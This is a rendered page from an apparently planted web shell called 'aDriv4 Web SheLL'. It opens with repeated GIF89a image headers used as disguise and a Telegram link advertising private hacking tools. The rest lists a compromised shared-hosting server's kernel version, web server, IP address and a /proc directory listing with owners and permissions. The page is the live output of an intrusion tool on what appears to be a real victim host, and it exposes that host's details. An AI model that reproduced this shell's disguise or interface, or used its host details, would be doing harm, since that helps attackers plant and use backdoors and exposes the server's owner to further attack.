GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium73.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
 LiteSpeed
 68.65.122.244
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-08 09:04:26
.. dir - root/root 0755 2024-03-18 01:37:31
2825407 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2826978 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2913142 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2917014 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2920181 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2923485 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2943903 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2958185 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2963883 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2972700 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2979413 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2980089 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
2991647 dir - carpkozk/carpkozk 0555 2025-06-14 06:04:35
acpi dir - root/root 0555 2025-06-08 01:04:29
bus dir - root/root 0555 2025-06-08 01:04:38
driver dir - root/root 0555 2025-06-14 06:04:43
fs dir - root/root 0555 2025-06-08 01:04:38
irq dir - root/root 0555 2025-06-08 01:04:38
kcare dir - root/root 0555 2025-06-14 06:04:43
lve dir - root/root 0555 2025-06-14 06:04:43
net link - carpkozk/carpkozk 0555 2025-06-14 06:04:43
scsi dir - root/root 0555 2025-06-08 01:04:38
self link - carpkozk/carpkozk 0555 2025-06-14 06:04:35
sys dir - root/root 0555 2025-06-08 09:04:27
sysvipc dir - root/root 0555 2025-06-14 06:04:43
thread-self link - carpkozk/carpkozk 0555 2025-06-14 06:04:43
tty dir - root/root 0555 2025-06-14 06:04:43
buddyinfo 0 B root/root 0444 2025-06-14 06:04:43
cgroups 0 B root/root 0444 2025-06-14 06:04:43
cmdline text/plain 0 B root/root 0444 2025-06-14 06:04:43
consoles 0 B root/root 0444 2025-06-14 06:04:43
cpuinfo text/plain 0 B root/root 0444 2025-06-14 06:04:43
crypto 0 B root/root 0444 2025-06-14 06:04:43
devices 0 B root/root 0444 2025-06-14 06:04:43
diskstats 0 B root/root 0444 2025-06-14 06:04:40
dma 0 B root/root 0444 2025-06-14 06:04:43
execdomains 0 B root/root 0444 2025-06-14 06:04:43
fb 0 B root/root 0444 2025-06-14 06:04:43
filesystems text/plain 0 B root/root 0444 2025-06-14 06:04:39
interrupts 0 B root/root 0444 2025-06-14 06:04:43
iomem 0 B root/root 0444 2025-06-14 06:04:43
ioports 0 B root/root 0444 2025-06-14 06:04:43
kallsyms 0 B root/root 0444 2025-06-08 01:04:38
kcore 128 TB root/root 0400 2025-06-08 01:04:29
key-users 0 B root/root 0444 2025-06-14 06:04:43
keys 0 B root/root 0444 2025-06-14 06:04:43
kmsg 0 B root/root 0400 2025-06-14 06:04:43
kpagecgroup 0 B root/root 0400 2025-06-14 06:04:43
kpagecount 0 B root/root 0400 2025-06-14 06:04:43
kpageflags 0 B root/root 0400 2025-06-14 06:04:43
loadavg text/plain 0 B root/root 0444 2025-06-14 06:04:43
locks 0 B root/root 0444 2025-06-14 06:04:43
mdstat 0 B root/root 0444 2025-06-14 06:04:43
meminfo text/plain 0 B root/root 0444 2025-06-14 06:04:43
misc 0 B root/root 0444 2025-06-14 06:04:43
modules 0 B root/root 0444 2025-06-14 06:04:43
mounts text/plain 0 B carpkozk/carpkozk 0444 2025-06-14 06:04:43
mtrr 0 B root/root 0644 2025-06-08 01:04:38
pagetypeinfo 0 B root/root 0400 2025-06-14 06:04:43
partitions 0 B root/root 0444 2025-06-14 06:04:43
sched_debug 0 B root/root 0444 2025-06-14 06:04:43
schedstat 0 B root/root 0444 2025-06-14 06:04:43
slabinfo 0 B root/root 0400 2025-06-14 06:04:43
softirqs 0 B root/root 0444 2025-06-14 06:04:43
stat text/plain 0 B root/root 0444 2025-06-14 06:04:35
swaps 0 B root/root 0444 2025-06-08 09:04:27
sysrq-trigger 0 B root/root 0200 2025-06-08 01:04:38
timer_list 0 B root/root 0400 2025-06-14 06:04:43
uptime text/plain 0 B root/root 0444 2025-06-14 06:04:43
version text/plain 0 B root/root 0444 2025-06-14 06:04:43
vmallocinfo 0 B root/root 0400 2025-06-14 06:04:43
vmstat 0 B root/root 0444 2025-06-14 06:04:43
zoneinfo 0 B root/root 0444 2025-06-14 06:04:43
© aDriv4